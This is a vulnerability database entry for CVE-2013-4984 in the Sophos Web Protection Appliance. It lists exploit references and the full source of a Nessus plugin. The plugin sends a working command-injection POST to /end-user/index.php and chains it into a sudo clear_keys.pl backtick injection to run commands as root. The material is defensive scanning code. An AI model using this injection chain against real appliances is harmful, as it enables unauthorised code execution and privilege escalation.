Vulnerabilities > CVE-2013-4984 - Permissions, Privileges, and Access Controls vulnerability in Sophos web Appliance

047910
CVSS 7.2 - HIGH
Attack vector
LOCAL
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
COMPLETE
Integrity impact
COMPLETE
Availability impact
COMPLETE
local
low complexity
sophos
CWE-264
nessus
exploit available
metasploit

Summary

The close_connections function in /opt/cma/bin/clear_keys.pl in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows local users to gain privileges via shell metacharacters in the second argument.

Vulnerable Configurations

Part Description Count
Application
Sophos
76

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Accessing, Modifying or Executing Executable Files
    An attack of this type exploits a system's configuration that allows an attacker to either directly access an executable file, for example through shell access; or in a possible worst case allows an attacker to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
  • Leverage Executable Code in Non-Executable Files
    An attack of this type exploits a system's trust in configuration and resource files, when the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high. The attack can be directed at a client system, such as causing buffer overrun through loading seemingly benign image files, as in Microsoft Security Bulletin MS04-028 where specially crafted JPEG files could cause a buffer overrun once loaded into the browser. Another example targets clients reading pdf files. In this case the attacker simply appends javascript to the end of a legitimate url for a pdf (http://www.gnucitizen.org/blog/danger-danger-danger/) http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here The client assumes that they are reading a pdf, but the attacker has modified the resource and loaded executable javascript into the client's browser process. The attack can also target server processes. The attacker edits the resource or configuration file, for example a web.xml file used to configure security permissions for a J2EE app server, adding role name "public" grants all users with the public role the ability to use the administration functionality. The server trusts its configuration file to be correct, but when they are manipulated, the attacker gains full control.
  • Blue Boxing
    This type of attack against older telephone switches and trunks has been around for decades. A tone is sent by an adversary to impersonate a supervisor signal which has the effect of rerouting or usurping command of the line. While the US infrastructure proper may not contain widespread vulnerabilities to this type of attack, many companies are connected globally through call centers and business process outsourcing. These international systems may be operated in countries which have not upgraded Telco infrastructure and so are vulnerable to Blue boxing. Blue boxing is a result of failure on the part of the system to enforce strong authorization for administrative functions. While the infrastructure is different than standard current applications like web applications, there are historical lessons to be learned to upgrade the access control for administrative functions.
  • Restful Privilege Elevation
    Rest uses standard HTTP (Get, Put, Delete) style permissions methods, but these are not necessarily correlated generally with back end programs. Strict interpretation of HTTP get methods means that these HTTP Get services should not be used to delete information on the server, but there is no access control mechanism to back up this logic. This means that unless the services are properly ACL'd and the application's service implementation are following these guidelines then an HTTP request can easily execute a delete or update on the server side. The attacker identifies a HTTP Get URL such as http://victimsite/updateOrder, which calls out to a program to update orders on a database or other resource. The URL is not idempotent so the request can be submitted multiple times by the attacker, additionally, the attacker may be able to exploit the URL published as a Get method that actually performs updates (instead of merely retrieving data). This may result in malicious or inadvertent altering of data on the server.
  • Target Programs with Elevated Privileges
    This attack targets programs running with elevated privileges. The attacker would try to leverage a bug in the running program and get arbitrary code to execute with elevated privileges. For instance an attacker would look for programs that write to the system directories or registry keys (such as HKLM, which stores a number of critical Windows environment variables). These programs are typically running with elevated privileges and have usually not been designed with security in mind. Such programs are excellent exploit targets because they yield lots of power when they break. The malicious user try to execute its code at the same level as a privileged system call.

D2sec

nameSophos Web Protection Appliance 3.8.1 RCE
urlhttp://www.d2sec.com/exploits/sophos_web_protection_appliance_3.8.1_rce.html

Exploit-Db

  • descriptionSophos Web Protection Appliance - Multiple Vulnerabilities. CVE-2013-4983,CVE-2013-4984. Webapps exploit for linux platform
    idEDB-ID:28175
    last seen2016-02-03
    modified2013-09-09
    published2013-09-09
    reporterCore Security
    sourcehttps://www.exploit-db.com/download/28175/
    titleSophos Web Protection Appliance - Multiple Vulnerabilities
  • descriptionSophos Web Protection Appliance - clear_keys.pl Local Privilege Escalation. CVE-2013-4984. Local exploit for linux platform
    idEDB-ID:28332
    last seen2016-02-03
    modified2013-09-17
    published2013-09-17
    reportermetasploit
    sourcehttps://www.exploit-db.com/download/28332/
    titleSophos Web Protection Appliance - clear_keys.pl Local Privilege Escalation

Metasploit

descriptionThis module abuses a command injection on the clear_keys.pl perl script, installed with the Sophos Web Protection Appliance, to escalate privileges from the "spiderman" user to "root". This module is useful for post exploitation of vulnerabilities on the Sophos Web Protection Appliance web ui, executed by the "spiderman" user. This module has been tested successfully on Sophos Virtual Web Appliance 3.7.0.
idMSF:EXPLOIT/LINUX/LOCAL/SOPHOS_WPA_CLEAR_KEYS
last seen2020-06-07
modified2018-10-10
published2013-09-10
references
reporterRapid7
sourcehttps://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/linux/local/sophos_wpa_clear_keys.rb
titleSophos Web Protection Appliance clear_keys.pl Local Privilege Escalation

Nessus

NASL familyCGI abuses
NASL idSOPHOS_WEB_PROTECTION_COMMAND_INJECTION.NASL
descriptionThe Sophos Web Protection application running on the remote host is affected by multiple vulnerabilities : - A remote command execution vulnerability exists in the /opt/ws/bin/sblistpack Perl script due to improper sanitization of user-supplied input when the
last seen2020-06-01
modified2020-06-02
plugin id70142
published2013-09-26
reporterThis script is Copyright (C) 2013-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/70142
titleSophos Web Protection Appliance Multiple Vulnerabilities
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(70142);
  script_version("1.12");
  script_cvs_date("Date: 2019/11/27");

  script_cve_id("CVE-2013-4983", "CVE-2013-4984");
  script_bugtraq_id(62263, 62265);
  script_xref(name:"EDB-ID", value:"28175");
  script_xref(name:"EDB-ID", value:"28332");
  script_xref(name:"EDB-ID", value:"28334");

  script_name(english:"Sophos Web Protection Appliance Multiple Vulnerabilities");
  script_summary(english:"Attempts to execute an OS command.");

  script_set_attribute(attribute:"synopsis", value:
"The remote host is running a web application that is affected by
multiple vulnerabilities.");
  script_set_attribute(attribute:"description", value:
"The Sophos Web Protection application running on the remote host is
affected by multiple vulnerabilities :

  - A remote command execution vulnerability exists in the
    /opt/ws/bin/sblistpack Perl script due to improper
    sanitization of user-supplied input when the 'action'
    parameter is set to 'continue' and the 'args_reason'
    parameter is set to anything other than 'filetypewarn'.
    An unauthenticated, remote attacker can exploit this by
    sending a specially crafted request to the
    /end-user/index.php script, resulting in the execution
    of arbitrary commands subject to the privileges of the 
    'spiderman' user id. (CVE-2013-4983)

  - A privilege escalation vulnerability exists in the
    close_connections() function in the clear_keys.pl script
    due to a failure to properly escape second arguments. A
    local attacker can exploit this to escalate privileges.
    (CVE-2013-4984)

Note that the application is reportedly affected by a cross-site
scripting vulnerability; however, this plugin has not tested for it.");
  # https://www.secureauth.com/labs/advisories/sophos-web-protection-appliance-multiple-vulnerabilities
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?e2867f81");
  # https://web.archive.org/web/20150425170751/https://www.sophos.com/en-us/support/knowledgebase/119773.aspx
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?6d3b1f2b");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Sophos Web Protection Appliance version 3.7.9.1 / 3.8.1.1
or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Sophos Web Protection Appliance 3.8.1 RCE");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Sophos Web Protection Appliance clear_keys.pl Local Privilege Escalation');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:'D2ExploitPack');

  script_set_attribute(attribute:"vuln_publication_date", value:"2013/09/06");
  script_set_attribute(attribute:"patch_publication_date", value:"2013/09/06");
  script_set_attribute(attribute:"plugin_publication_date", value:"2013/09/26");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:sophos:web_appliance");
  script_set_attribute(attribute:"cpe", value:"x-cpe:/a:sophos:sophos_web_protection");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2013-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("sophos_web_protection_detect.nasl");
  script_require_keys("installed_sw/sophos_web_protection");
  script_require_ports("Services/www", 443);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("url_func.inc");
include("data_protection.inc");

get_install_count(app_name:'sophos_web_protection', exit_if_zero:TRUE);
port = get_http_port(default:443);
install = get_single_install(app_name:'sophos_web_protection', port:port);

dir = install['dir'];
install_url = build_url(qs:dir, port:port);

cmd = "id";
cmd_pat = "uid=[0-9]+.*gid=[0-9]+.*";

# nb: Domain and user can be any arbitrary values in this attack
domain = "localhost";
user = "nessus";
time = unixtime();
script = SCRIPT_NAME - ".nasl" + '-' + time;
path = "/opt/ui/apache/htdocs/backup/";

attack = 'sudo /opt/cma/bin/clear_keys.pl ' +time+ ' ";`echo ' +cmd+ '` > ' +
  path+script+'.txt;" /' +time;

postdata =
  "url=" +base64(str:domain)+ "&args_reason=any&filetype=dummy&user="
  +user+ "&user_encoded=" +base64(str:user)+ "&domain=" +domain+ ';echo ' +
  base64(str:attack)+ '|base64 --decode > ' +path+script+
  '.sh;chmod u+rwx ' +path+script+ '.sh;sh ' +path+script+ '.sh;rm '
  +path+script+ '.sh&raw_category_id=one|two|three|four';

postdata = urlencode(
  str        : postdata,
  unreserved : "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234" +
                 "56789=+&_.-"
);

res = http_send_recv3(
  method : "POST",
  port   : port,
  item   : dir + "/end-user/index.php?c=blocked&action=continue",
  data   : postdata,
  add_headers : make_array("Content-Type", "application/x-www-form-urlencoded"),  
  exit_on_fail: TRUE
);

attack_req = http_last_sent_request();

# nb: The file we created above will end up in /backup
upload_url = "backup/" +script+ ".txt";
res2 = http_send_recv3(
  method : "GET",
  port   : port,
  item   : dir + "/" + upload_url,
  exit_on_fail : TRUE
);

if (egrep(pattern:cmd_pat, string:res2[2]))
{
  if (report_verbosity > 0)
  {
    report =
      '\nNessus was able to execute the command "' +cmd+ '" on the remote' +
      ' host' + '\nusing the following request :' +
      '\n' +
      '\n' +attack_req+
      '\n' +
      '\nNessus verified this by requesting the following URL and examining' +
      '\nthe output :' +
      '\n\n  ' + install_url + upload_url +
      '\n' +
      '\n(Note that the file at :\n' +path+script+ '.txt' +
      '\nhas not been removed and will need to be manually deleted.)' +
      '\n';

    if (report_verbosity > 1)
    {
      snip = crap(data:"-", length:30)+' snip '+ crap(data:"-", length:30);
      report +=
        '\nThis produced the following output :' +
        '\n' +
        '\n' + snip +
        '\n' + data_protection::sanitize_uid(output:chomp(res2[2])) +
        '\n' + snip +
        '\n';
    }
    security_hole(port:port, extra:report);
  }
  else security_hole(port);
  exit(0);
}
audit(AUDIT_WEB_APP_NOT_AFFECTED, "Sophos Web Protection", install_url);

Packetstorm

Seebug

bulletinFamilyexploit
descriptionNo description provided by source.
idSSV:81753
last seen2017-11-19
modified2014-07-01
published2014-07-01
reporterRoot
sourcehttps://www.seebug.org/vuldb/ssvid-81753
titleSophos Web Protection Appliance - Multiple Vulnerabilities